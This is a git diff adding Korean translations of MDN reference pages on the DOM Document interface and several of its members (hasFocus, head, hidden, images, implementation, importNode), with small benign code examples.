문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.

+
+ +

구문

+ +
focused = document.hasFocus();
+ +

반환 값

+ +

문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 false를 반환, 포커스를 갖고 있다면 true를 반환

+ +

예제

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>TEST</title>
+<style>
+#message { font-weight: bold; }
+</style>
+
+<script>
+
+setInterval( CheckPageFocus, 200 );
+
+function CheckPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "The document has the focus.";
+  } else {
+    info.innerHTML = "The document doesn't have the focus.";
+  }
+}
+
+function OpenWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    width=640,
+    height=300,
+    left=150,
+    top=260
+  );
+}
+
+</script>
+</head>
+
+<body>
+  <h1>JavaScript hasFocus example</h1>
+  <div id="message">Waiting for user action</div>
+  <div><button onclick="OpenWindow()">Open a new window</button></div>
+</body>
+</html>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.hasFocus")}}

+ +

관련 참고

+ + diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html new file mode 100644 index 0000000000..6beb5b59a3 --- /dev/null +++ b/files/ko/web/api/document/head/index.html @@ -0,0 +1,69 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/head +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 head 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.

+ +

예제

+ +
<!doctype html>
+<head id="my-document-head">
+  <title>Example: using document.head</title>
+</head>
+
+<script>
+  let theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+  console.log(theHead === document.querySelector("head")); // true
+</script>
+ +

참고

+ +

Document.head는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, 엄격 모드에서는 {{jsxref("TypeError")}}가 발생합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}Initial definition.
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.head")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html new file mode 100644 index 0000000000..13c6f0a5da --- /dev/null +++ b/files/ko/web/api/document/hidden/index.html @@ -0,0 +1,26 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - API + - Document + - Property + - Reference +translation_of: Web/API/Document/hidden +--- +
{{ ApiRef("DOM") }}
+ +

Document.hidden 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + +

{{Compat("api.Document.hidden")}}

diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html new file mode 100644 index 0000000000..702ad66bc5 --- /dev/null +++ b/files/ko/web/api/document/images/index.html @@ -0,0 +1,52 @@ +--- +title: Document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +
{{APIRef("DOM")}}
+ +

document.images 는 현재 HTML document 내부의 images collection을 반환합니다.

+ +

Syntax

+ +
var htmlCollection = document.images;
+ +

Example

+ +
var ilist = document.images;
+
+for(var i = 0; i < ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // found the banner
+    }
+}
+ +

Notes

+ +

document.images.length – 페이지의 이미지 갯수를 반환하는 속성

+ +

document.images 는 DOM HTML의 part이며, HTML documents 에서만 지원된다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}{{ Spec2('DOM2 Events') }}Initial definition.
diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html new file mode 100644 index 0000000000..79b50f451e --- /dev/null +++ b/files/ko/web/api/document/implementation/index.html @@ -0,0 +1,55 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +
{{ ApiRef("DOM") }}
+ +

현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.

+ +

Syntax

+ +
DOMImpObj = document.implementation;
+
+ +

Example

+ +
var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+
+ +

모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 Conformance 섹션에서 확인하실 수 있습니다.

+ +

Notes

+ +

W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 hasFeature 메소드만 명시되어 있습니다(위 예제와 What does your user agent claim to support? 문서를 확인하세요). 사용이 가능한 경우, 다른 DOMImplementation 메소드들이 단일 document 외부의 것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, DOMImplementation 인터페이스는 createDocumentType 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.

+ +

Specification

+ + + +

Browser compatibility

+ + + +

{{Compat("api.Document.implementation")}}

+ +

Gecko-specific notes

+ + diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html new file mode 100644 index 0000000000..18be48039f --- /dev/null +++ b/files/ko/web/api/document/importnode/index.html @@ -0,0 +1,67 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +

{{APIRef("DOM")}}

+ +

설명

+ +

현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.

+ +

문법

+ +
var node = document.importNode(externalNode, deep);
+
+ +
+
node
+
문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 parentNode는 null입니다.
+
externalNode
+
다른 문서에서 가져올 노드입니다.
+
deep
+
불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.
+
+ +
+

Note: DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, deep은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 deep을 true로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 deep인자에 false를 주시길 바랍니다.

+ +

이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. Gecko 28.0 {{geckoRelease(28)}} 버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.

+
+ +

예제

+ +
var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

Notes

+ +

오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they can be inserted into the current document. For more on the Node.ownerDocument issues, see the W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.

+ +

브라우저 지원율

+ +
+ + +

{{Compat("api.Document.importNode")}}

+
+ +

관련문서

+ + + +

참고

+ + diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html new file mode 100644 index 0000000000..f26cb7a526 --- /dev/null +++ b/files/ko/web/api/document/index.html @@ -0,0 +1,480 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +
{{APIRef("DOM")}}
+ +

Document 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(DOM 트리)의 진입점 역할을 수행합니다. DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 여러 다른 요소를 포함합니다. Document는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.

+ +

{{inheritanceDiagram}}

+ +

Document 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(HTML, XML, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 "text/html" 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.

+ +

생성자

+ +
+
{{domxref("Document.Document","Document()")}} {{non-standard_inline}}
+
새로운 Document 객체를 생성합니다.
+
+ +

속성

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.anchors")}} {{readonlyinline}}
+
문서 내 모든 앵커의 목록을 반환합니다.
+
{{domxref("Document.body")}}
+
현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.
+
{{domxref("Document.characterSet")}} {{readonlyinline}}
+
문서에서 사용하는 캐릭터셋을 반환합니다.
+
{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}
+
문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.
+
{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}
+
현재 문서의 MIME 헤더로부터 Content-Type을 반환합니다.
+
{{domxref("Document.doctype")}} {{readonlyinline}}
+
현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.
+
{{domxref("Document.documentElement")}} {{readonlyinline}}
+
문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.
+
{{domxref("Document.documentURI")}} {{readonlyinline}}
+
문서의 위치를 문자열로 반환합니다.
+
{{domxref("Document.embeds")}} {{readonlyinline}}
+
현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.
+
{{domxref("Document.fonts")}}
+
현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.
+
{{domxref("Document.forms")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.
+
{{domxref("Document.head")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.
+
{{domxref("Document.hidden")}} {{readonlyinline}}
+
현재 문서의 숨김 여부를 반환합니다.
+
{{domxref("Document.images")}} {{readonlyinline}}
+
현재 문서의 이미지 목록을 반환합니다.
+
{{domxref("Document.implementation")}} {{readonlyinline}}
+
현재 문서와 연관된 DOM 구현을 반환합니다.
+
{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}
+
마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 null 값을 갖습니다.
+
{{domxref("Document.links")}} {{readonlyinline}}
+
문서의 모든 하이퍼링크 목록을 반환합니다.
+
{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}
+
문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} true를 반환합니다.
+
{{domxref("Document.plugins")}} {{readonlyinline}}
+
사용 가능한 플러그인의 목록을 반환합니다.
+
{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}
+
특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.
+
{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}
+
페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.scripts")}} {{readonlyinline}}
+
문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.
+
{{domxref("Document.scrollingElement")}} {{readonlyinline}}
+
문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.
+
{{domxref("Document.selectedStyleSheetSet")}}
+
현재 사용 중인 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.styleSheetSets")}} {{readonlyinline}}
+
문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.
+
{{domxref("Document.timeline")}} {{readonlyinline}}
+
페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.
+
{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}
+
+
{{domxref("Document.visibilityState")}} {{readonlyinline}}
+
문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 visible, hidden, prerender, unloaded입니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +

{{page("/ko/docs/Web/API/ParentNode","속성")}}

+ +

HTMLDocument 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("Document.cookie")}}
+
문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.
+
{{domxref("Document.defaultView")}} {{readonlyinline}}
+
{{domxref("Window")}} 객체의 참조를 반환합니다.
+
{{domxref("Document.designMode")}}
+
문서 전체의 수정 가능 여부를 설정/반환합니다.
+
{{domxref("Document.dir")}}
+
문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.
+
{{domxref("Document.domain")}}
+
현재 문서의 도메인을 설정/반환합니다.
+
{{domxref("Document.lastModified")}} {{readonlyinline}}
+
문서가 마지막으로 수정된 날짜를 반환합니다.
+
{{domxref("Document.location")}} {{readonlyinline}}
+
현재 문서의 URI를 반환합니다.
+
{{domxref("Document.readyState")}} {{readonlyinline}}
+
문서의 불러오기 상태를 반환합니다.
+
{{domxref("Document.referrer")}} {{readonlyinline}}
+
현재 페이지로 연결한 페이지의 URI를 반환합니다.
+
{{domxref("Document.title")}}
+
문서의 제목을 설정하거나 반환합니다.
+
{{domxref("Document.URL")}} {{readonlyInline}}
+
문서의 위치를 문자열로 반환합니다.
+
+ +

DocumentOrShadowRoot에서 포함한 속성

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 DocumentOrShadowRoot 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 직접 구현합니다.

+ +
+
{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}
+
섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.
+
{{domxref("Document.fullscreenElement")}} {{readonlyinline}}
+
현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}
+
포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 null입니다.
+
{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}
+
문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.
+
+ +

이벤트 처리기

+ +
+
{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}
+
{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}
+
{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncopy")}} {{non-standard_inline}}
+
{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncut")}} {{non-standard_inline}}
+
{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onfullscreenchange")}}
+
{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onfullscreenerror")}}
+
{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onpaste")}} {{non-standard_inline}}
+
{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onreadystatechange")}}
+
{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onselectionchange")}} {{experimental_inline}}
+
{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onvisibilitychange")}}
+
{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
+ +

Document 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.

+ +

{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}

+ +

사용하지 않는 속성

+ +
+
{{domxref("Document.alinkColor")}} {{Deprecated_inline}}
+
다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}
+
다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.
+
{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}
+
다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.
+
{{domxref("Document.async")}} {{Deprecated_inline}}
+
{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.
+
{{domxref("Document.bgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.
+
{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.domConfig")}} {{Deprecated_inline}}
+
{{domxref("DOMConfiguration")}} 객체를 반환합니다.
+
{{domxref("document.fgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.
+
{{domxref("Document.fullscreen")}} {{obsolete_inline}}
+
다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 true 를 반환합니다.
+
{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 높이를 설정하거나 반환합니다.
+
{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.linkColor")}} {{Deprecated_inline}}
+
다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}
+
방문한 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 너비를 반환합니다.
+
{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}
+
XML 선언으로 결정된 인코딩을 반환합니다.
+
{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}
+
XML 선언이 다큐먼트를 독립되도록 지정하면 true 를(예, DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 false 를 반환합니다.
+
{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}
+
XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, "1.0" 을 반환합니다.
+
+ +

메서드

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.adoptNode()")}}
+
외부 문서로부터 노드를 가져옵니다.
+
{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}
+
{{domxref("Window.captureEvents")}}를 확인하세요.
+
{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}
+
지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.
+
{{domxref("Document.createAttribute()")}}
+
새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.
+
{{domxref("Document.createAttributeNS()")}}
+
주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.
+
{{domxref("Document.createCDATASection()")}}
+
새로운 CDATA 노드를 생성하고 반환합니다.
+
{{domxref("Document.createComment()")}}
+
새로운 주석 노드를 생성하고 반환합니다.
+
{{domxref("Document.createDocumentFragment()")}}
+
새로운 문서 조각을 생성합니다.
+
{{domxref("Document.createElement()")}}
+
주어진 태그명을 사용해 새로운 요소를 생성합니다.
+
{{domxref("Document.createElementNS()")}}
+
주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.
+
{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}
+
새로운 개체 참조를 생성하고 반환합니다.
+
{{domxref("Document.createEvent()")}}
+
이벤트 객체를 생성합니다.
+
{{domxref("Document.createNodeIterator()")}}
+
{{domxref("NodeIterator")}} 객체를 생성합니다.
+
{{domxref("Document.createProcessingInstruction()")}}
+
새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.
+
{{domxref("Document.createRange()")}}
+
{{domxref("Range")}} 객체를 생성합니다.
+
{{domxref("Document.createTextNode()")}}
+
텍스트 노드를 생성합니다.
+
{{domxref("Document.createTouch()")}} {{Deprecated_inline}}
+
{{domxref("Touch")}} 객체를 생성합니다.
+
{{domxref("Document.createTouchList()")}}
+
{{domxref("TouchList")}} 객체를 생성합니다.
+
{{domxref("Document.createTreeWalker()")}}
+
{{domxref("TreeWalker")}} 객체를 생성합니다.
+
{{domxref("Document.enableStyleSheetsForSet()")}}
+
지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.
+
{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}
+
포인터 잠금을 해제합니다.
+
{{domxref("Document.getAnimations()")}} {{experimental_inline}}
+
문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.
+
{{domxref("Document.getElementsByClassName()")}}
+
주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagName()")}}
+
주어진 태그명을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagNameNS()")}}
+
주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.hasStorageAccess()")}}
+
문서가 퍼스트파티first-party 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.importNode()")}}
+
외부 문서의 노드 복제본을 반환합니다.
+
{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}
+
개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.
+
{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}
+
문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.
+
{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
{{domxref("Window.releaseEvents()")}}를 확인하세요.
+
{{domxref("Document.requestStorageAccess()")}}
+
퍼스트파티first-party 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}
+
{{domxref("Window.routeEvent()")}}를 확인하세요.
+
{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}
+
지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.getElementById()")}}
+
주어진 ID를 가진 요소의 참조를 반환합니다.
+
{{domxref("document.querySelector()")}}
+
문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.
+
{{domxref("document.querySelectorAll()")}}
+
주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.
+
+ +

Document 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.createExpression()")}}
+
나중에 (여러 번) 평가할 수 있도록 XPathExpression을 컴파일합니다.
+
{{domxref("document.createNSResolver()")}}
+
{{domxref("XPathNSResolver")}} 객체를 생성합니다.
+
{{domxref("document.evaluate()")}}
+
XPath 표현을 평가합니다.
+
+ +

HTML 문서의 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.
+
{{domxref("document.close()")}}
+
작성을 위한 문서 스트림을 닫습니다.
+
{{domxref("document.execCommand()")}}
+
수정 가능한 문서에서 서식 명령을 실행합니다.
+
{{domxref("document.getElementsByName()")}}
+
주어진 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("document.hasFocus()")}}
+
포커스가 지정한 문서 내 어느 곳이든 위치한 경우 true를 반환합니다.
+
{{domxref("document.open()")}}
+
작성을 위한 문서 스트림을 엽니다.
+
{{domxref("document.queryCommandEnabled()")}}
+
현재 범위에서 서식 명령을 실행할 수 있다면 true를 반환합니다.
+
{{domxref("document.queryCommandIndeterm()")}}
+
현재 범위에서 서식 명령의 상태를 알 수 없으면 true를 반환합니다.
+
{{domxref("document.queryCommandState()")}}
+
현재 범위에서 서식 명령을 실행했다면 true를 반환합니다.
+
{{domxref("document.queryCommandSupported()")}}
+
현재 범위에서 서식 명령이 지원된다면 true를 반환합니다.
+
{{domxref("document.queryCommandValue()")}}
+
현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.
+
{{domxref("document.write()")}}
+
문서에 텍스트를 작성합니다.
+
{{domxref("document.writeln()")}}
+
문서에 텍스트 한 줄을 작성합니다.
+
+ +

DocumentOrShadowRoot로부터 포함된 메소드

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인mixin이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 구현 중입니다.

+ +
+
{{domxref("DocumentOrShadowRoot.getSelection()")}}
+
사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}
+
지정한 위치에 있는 최상단 엘리먼트를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}
+
지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.
+
{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.
+
+ +

비표준 확장 {{non-standard_inline}}

+ +

{{non-standard_header}}

+ +

Firefox 노트

+ +

Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.

+ +
+
{{domxref("document.currentScript")}} {{non-standard_inline}}
+
현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.
+
{{domxref("document.documentURIObject")}}
+
(Mozilla 부가 기능 전용!) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.
+
{{domxref("document.popupNode")}}
+
팝업이 불려진 노드를 반환합니다.
+
{{domxref("document.tooltipNode")}}
+
